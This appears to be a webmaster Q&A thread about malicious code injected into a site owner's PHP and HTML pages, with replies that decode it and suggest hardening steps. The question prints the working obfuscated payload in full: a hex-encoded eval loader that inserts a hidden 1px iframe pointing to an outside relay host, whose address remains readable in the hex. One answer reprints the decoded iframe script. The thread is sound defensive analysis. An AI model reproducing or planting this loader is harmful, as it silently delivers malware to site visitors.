Stop code injections into page code

Question

I started a topic HERE on the stackoverflow site, but was refered here.

I did get some info there, but think it need's more indepth input. So hopefuly people here can help.

---

I have a few domains that I use for sites and testing. Most are hosted with one well known domain site, the others with a small one.

Recently I noticed my page layout going out. When inspecting, noticed that an iFrame (that I never put there) was running.

I removed it and changed my file permissions.

It happened again a few times, then changed from an iFrame to a javascript. Here it is to see.

<?
#68c8c7#  echo " <script type=\"text/javascript\" language=\"javascript\" >
 asgq=[0x28,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x20,0x28,0x29,0x20,0x7b,0xd,0xa,0x20,0x20,0x20,0x20,0x76,0x61,0x72,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x20,0x3d,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x63,0x72,0x65,0x61,0x74,0x65,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x28,0x27,0x69,0x66,0x72,0x61,0x6d,0x65,0x27,0x29,0x3b,0xd,0xa,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x72,0x63,0x20,0x3d,0x20,0x27,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x66,0x72,0x61,0x73,0x73,0x65,0x6c,0x74,0x2d,0x6b,0x61,0x6c,0x6f,0x72,0x61,0x6d,0x61,0x2e,0x6e,0x6c,0x2f,0x72,0x65,0x6c,0x61,0x79,0x2e,0x70,0x68,0x70,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x27,0x61,0x62,0x73,0x6f,0x6c,0x75,0x74,0x65,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x62,0x6f,0x72,0x64,0x65,0x72,0x20,0x3d,0x20,0x27,0x30,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x68,0x65,0x69,0x67,0x68,0x74,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x77,0x69,0x64,0x74,0x68,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x6c,0x65,0x66,0x74,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x79,0x6f,0x6b,0x64,0x6a,0x2e,0x73,0x74,0x79,0x6c,0x65,0x2e,0x74,0x6f,0x70,0x20,0x3d,0x20,0x27,0x31,0x70,0x78,0x27,0x3b,0xd,0xa,0xd,0xa,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x21,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x27,0x29,0x29,0x20,0x7b,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x77,0x72,0x69,0x74,0x65,0x28,0x27,0x3c,0x64,0x69,0x76,0x20,0x69,0x64,0x3d,0x5c,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x5c,0x27,0x3e,0x3c,0x2f,0x64,0x69,0x76,0x3e,0x27,0x29,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x67,0x65,0x74,0x45,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x42,0x79,0x49,0x64,0x28,0x27,0x79,0x6f,0x6b,0x64,0x6a,0x27,0x29,0x2e,0x61,0x70,0x70,0x65,0x6e,0x64,0x43,0x68,0x69,0x6c,0x64,0x28,0x79,0x6f,0x6b,0x64,0x6a,0x29,0x3b,0xd,0xa,0x20,0x20,0x20,0x20,0x7d,0xd,0xa,0x7d,0x29,0x28,0x29,0x3b];try{document.body|=1}catch(gdsgsdg){zz=3;dbshre=34;if(dbshre){vfvwe=0;try{}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window[\"eval\"];}s=\"\";for(i=0;i-499!=0;i++){if(window.document)s+=String.fromCharCode(asgq[i]);}z=s;e(s);}}</script>";
#/68c8c7#
?>

Please note that it is a PHP script. Directly in my code. I also have the same thing in HTML.

Seems all my sites are getting infected with this or varients of this, even the ones not on the same host.

Can anyone help with this?

Answer 1

Just to show you what this script does as it's always interesting the obfuscation techniques people use.

<?
#68c8c7#  echo " <script type=\"text/javascript\" language=\"javascript\" >
asgq=[0x72,0x65,0x6c,0x61,...0x28,0x29,0x3b];
try{document.body|=1} catch(gdsgsdg){


    // Some attempt of obfuscation
    zz=3;
    dbshre=34;

 if(dbshre){ 
      vfvwe=0;

    // Some attempt of obfuscation
      try{} catch(agdsg) {
           vfvwe=1;
      }

      if(!vfvwe){
        // This is the Eval Function
           e=window[\"eval\"];
      }

      s=\"\";
      for(i=0;i-499!=0;i++){
           if(window.document) {
                // Add encoded script (asgg) to variable s.
                  s+=String.fromCharCode(asgq[i]);
           }
      }

// Some attempt of obfuscation
 z=s; 
// 'e' is the eval function which was defined above.
 e(s);
 }
}
</script>";
#/68c8c7#
?>

And the 'asgq' variable had the following code:

(function () {
    var yokdj = document.createElement('iframe');

    yokdj.src = 'http://*********.nl/relay.php';
    yokdj.style.position = 'absolute';
    yokdj.style.border = '0';
    yokdj.style.height = '1px';
    yokdj.style.width = '1px';
    yokdj.style.left = '1px';
    yokdj.style.top = '1px';

    if (!document.getElementById('yokdj')) {
        document.write('<div id=\'yokdj\'></div>');
        document.getElementById('yokdj').appendChild(yokdj);
    }
})();

I have taken out the URL as I don't think it's a good idea for people to be going to websites that may contain malware.

Answer 2

You say that php scripts such as these have been directly injected into your files, which implies that an attacker has had some ability to modify files on your machines (there are multiple ways to get this). In some way, you have created the same vulnerability across all of your sites.

It is possible that you have some issue that turns out to be really common/well known, and someone's automated scripts have picked up on the fact. Some ideas of mine that come to mind:

• PHP Code injection

Some attacker has been able to craft user input to some portion of your websites such that they can run whatever php code they want. For instance, if you were to take the input from a and shove it into a php eval(http://php.net/manual/en/function.eval.php, then somebody would be able to call file_put_contents (http://php.net/manual/en/function.file-put-contents.php) and directly modify your php files to have the additional code.

• Shell access

Some attacker can run whatever they want because they've broken into your machine in some other way. For instance, if you are accepting logins by ssh, and your root account password is "password", then somebody will be able to get access by trivially making attempts to log into your machine using entries from a common password dictionary.

This is all speculation though. Some general recommendations (research how to do these separately).

• Change the passwords to all of the login accounts on the machine.

• Ensure that there are no services running that you didn't plant yourself

• Harden your PHP config. Google searches similar to Harden php configuration will help you research.

• Harden your web server config. Make sure that your web server is running using a user account that is a user created only for your web server.

• You can audit your code for issues, but I doubt you will know what to look for. Maybe you could try something like Tripwire (I haven't used it before) to wait/watch for changes in the file. Once you detect changes, you can find out what time they happened (you could even just look at the timestamp on the changed file/s). From there, you can dig through web server logs/php logs/syslog/authlog to play forensics to find out where your hole is.

Answer 3

have you looked through your database contents to see if these scripts are stored there? (dump the contents and do a text search) You have to establish whether the attackers have put this into your page via the file system (through a remote file include http://en.wikipedia.org/wiki/File_inclusion_vulnerability ) or by inserting it into the database through sql injection. When you removed it, where did you remove it from?

searches for some of the keywords in this injected code:

google "yokdj" finds http://wepawet.iseclab.org/view.php?hash=e0bad0592a91abe341c3f13f573309df&t=1362926702&type=js

google "fromCharCode(asgq[i]" yields list of sites infected. also, that search yields several discussions about this code: stackoverflow thread:
https://stackoverflow.com/questions/15232851/javascript-obfuscation-learning-from-the-bad-guys AND:

http://www.simplemachines.org/community/index.php?topic=494622.0

Sounds like this has affected several php related systems recently. The others report that it comes right back after it is removed, which makes me think a bot is injecting this into a form on your site. Please let us know what you find!